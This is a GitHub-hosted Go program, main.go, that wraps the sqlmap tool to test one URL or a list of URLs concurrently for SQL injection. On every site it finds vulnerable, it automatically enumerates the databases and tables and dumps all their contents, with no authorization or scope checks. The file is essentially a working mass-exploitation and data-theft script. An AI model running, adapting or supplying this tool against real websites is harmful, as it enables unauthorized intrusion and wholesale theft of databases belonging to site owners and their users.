-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.go
234 lines (211 loc) · 6.16 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
package main
import (
"flag"
"fmt"
"net/url"
"os"
"os/exec"
"os/signal"
"regexp"
"runtime"
"strconv"
"strings"
"sync"
"syscall"
)
const (
sqlMapPath = "sqlmap/sqlmap.py"
outputDir = "./Output"
)
type SQLMapConfig struct {
URL string
Risk string
Level string
}
func constructSQLMapCommand(config SQLMapConfig, additionalArgs ...string) *exec.Cmd {
baseArgs := []string{
"python", sqlMapPath, "-u", config.URL, "--risk", config.Risk, "--level", config.Level,
"--smart", "--batch", "-o", "--output-dir", outputDir,
}
return exec.Command(baseArgs[0], append(baseArgs[1:], additionalArgs...)...)
}
func runSQLMapCommand(config SQLMapConfig, additionalArgs ...string) (string, error) {
cmd := constructSQLMapCommand(config, additionalArgs...)
cmdOutput, err := cmd.CombinedOutput()
if err != nil {
return string(cmdOutput), fmt.Errorf("error running SQLMap: %w", err)
}
return string(cmdOutput), nil
}
func extractItemsFromOutput(output, regexPattern string) []string {
itemRegex := regexp.MustCompile(regexPattern)
matches := itemRegex.FindAllStringSubmatch(output, -1)
undesiredNames := map[string]struct{}{
"Mysql": {},
"Performance_schema": {},
"Sys": {},
"Test": {},
"information_schema": {},
}
var results []string
for _, match := range matches {
if len(match) > 1 {
item := match[1]
if _, exists := undesiredNames[item]; !exists {
results = append(results, item)
}
}
}
return results
}
func extractDomain(inputURL string) string {
parsedURL, err := url.Parse(inputURL)
if err != nil {
return inputURL
}
return parsedURL.Hostname()
}
func isURLVulnerable(config SQLMapConfig, debug bool) (bool, error) {
output, err := runSQLMapCommand(config)
if err != nil {
return false, err
}
if debug {
fmt.Println("DEBUG: isURLVulnerable output:")
fmt.Println(output)
}
return strings.Contains(output, "sqlmap identified the following injection point(s)") ||
strings.Contains(output, "sqlmap resumed the following injection point(s) from stored session"), nil
}
func scanAndExtractDetails(config SQLMapConfig, threadsSQL int) {
output, err := runSQLMapCommand(config, "--dbs")
if err != nil {
fmt.Printf("Error fetching databases: %v\n", err)
return
}
dbs := extractItemsFromOutput(output, `\[\*\] (\w+)`)
for _, db := range dbs {
fmt.Printf("Fetching tables from database %s\n", db)
tablesOutput, err := runSQLMapCommand(config, "--tables", "-D", db)
if err != nil {
fmt.Printf("Error fetching tables for database %s: %v\n", db, err)
continue
}
tables := extractItemsFromOutput(tablesOutput, `\| (\w+) \|`)
fmt.Printf("Database %s: Found %d tables\n", db, len(tables))
for _, table := range tables {
fmt.Printf("Dumping table %s from database %s\n", table, db)
_, err := runSQLMapCommand(config, "-D", db, "-T", table, "--dump", "--threads", strconv.Itoa(threadsSQL))
if err != nil {
fmt.Printf("Error dumping table %s: %v\n", table, err)
}
}
}
}
func downloadSQLMap() error {
cmd := exec.Command("git", "clone", "https://github.com/sqlmapproject/sqlmap.git")
cmd.Dir = "./"
_, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("error downloading SQLMap: %w", err)
}
return nil
}
func init() {
if _, err := os.Stat(sqlMapPath); os.IsNotExist(err) {
fmt.Println("Downloading SQLMap...")
err := downloadSQLMap()
if err != nil {
fmt.Printf("Error downloading SQLMap: %v\n", err)
os.Exit(1)
}
fmt.Println("SQLMap downloaded successfully.")
}
}
func main() {
runtime.SetBlockProfileRate(1)
signalChannel := make(chan os.Signal, 1)
signal.Notify(signalChannel, os.Interrupt, syscall.SIGTERM)
go func() {
<-signalChannel
fmt.Println("\nExiting...")
os.Exit(0)
}()
var (
risk string
level string
threads int
threadsSQL int
debug bool
target string
defaultSingle bool
defaultMulti bool
)
flag.StringVar(&risk, "risk", "3", "Risk level for SQLMap")
flag.StringVar(&level, "level", "3", "Level for SQLMap")
flag.IntVar(&threads, "threads", 20, "Threads for URL scanning")
flag.IntVar(&threadsSQL, "threads_sql", 10, "Threads for SQLMap dumping (max: 10)")
flag.BoolVar(&debug, "debug", false, "Enable debugging output")
flag.StringVar(&target, "url", "", "Test a single URL")
flag.BoolVar(&defaultSingle, "default-single", false, "Predefined settings for single URL")
flag.BoolVar(&defaultMulti, "default-multi", false, "Predefined settings for multiple URLs")
flag.Parse()
if defaultSingle {
risk, level = "3", "5"
fmt.Println("Using default-single settings: Risk 3, Level 5")
}
if defaultMulti {
risk, level = "2", "3"
threads, threadsSQL = 30, 10
fmt.Println("Using default-multi settings: Risk 2, Level 3, Threads 30, SQL Threads 10")
}
if target != "" {
config := SQLMapConfig{URL: target, Risk: risk, Level: level}
vulnerable, err := isURLVulnerable(config, debug)
if err != nil {
fmt.Printf("Error scanning URL: %v\n", err)
return
}
if vulnerable {
fmt.Printf("%s is Vulnerable. Fetching details...\n", extractDomain(target))
scanAndExtractDetails(config, threadsSQL)
} else {
fmt.Printf("%s is Not Vulnerable.\n", extractDomain(target))
}
return
}
var filePath string
fmt.Print("Enter path to URLs file: ")
_, _ = fmt.Scanln(&filePath)
lines, err := os.ReadFile(filePath)
if err != nil {
fmt.Printf("Error reading file: %v\n", err)
return
}
urls := strings.Split(strings.TrimSpace(string(lines)), "\n")
fmt.Printf("Loaded %d URLs. Starting scan...\n", len(urls))
var wg sync.WaitGroup
sem := make(chan struct{}, threads)
for _, site := range urls {
wg.Add(1)
sem <- struct{}{}
go func(site string) {
defer wg.Done()
defer func() { <-sem }()
config := SQLMapConfig{URL: site, Risk: risk, Level: level}
vulnerable, err := isURLVulnerable(config, debug)
if err != nil {
fmt.Printf("Error checking URL %s: %v\n", site, err)
return
}
if vulnerable {
fmt.Printf("%s is Vulnerable. Fetching details...\n", extractDomain(site))
scanAndExtractDetails(config, threadsSQL)
} else {
fmt.Printf("%s is Not Vulnerable.\n", extractDomain(site))
}
}(site)
}
wg.Wait()
fmt.Println("Scan complete.")
}